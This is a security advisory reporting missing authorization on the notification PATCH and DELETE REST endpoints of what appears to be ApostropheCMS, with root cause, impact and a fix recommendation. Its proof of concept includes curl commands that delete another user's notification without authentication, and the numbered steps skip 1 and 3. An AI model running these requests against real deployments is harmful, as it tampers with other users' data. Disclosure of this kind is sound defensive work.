Vulnerability GHSA-vwwx-px9w-crrc

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.

2. Create a notification

curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

HTTP/1.1 200 OK

Impact

An attacker who obtains a valid notification ID can:

• Delete another user's notifications.
• Mark another user's notifications as dismissed.
• Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

Recommendation

Every notification modification endpoint should:

• Require authentication.
• Verify ownership (userId === req.user._id).
• Return 403 Forbidden for unauthorized requests.
• Avoid performing database operations solely using a user-controlled _id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.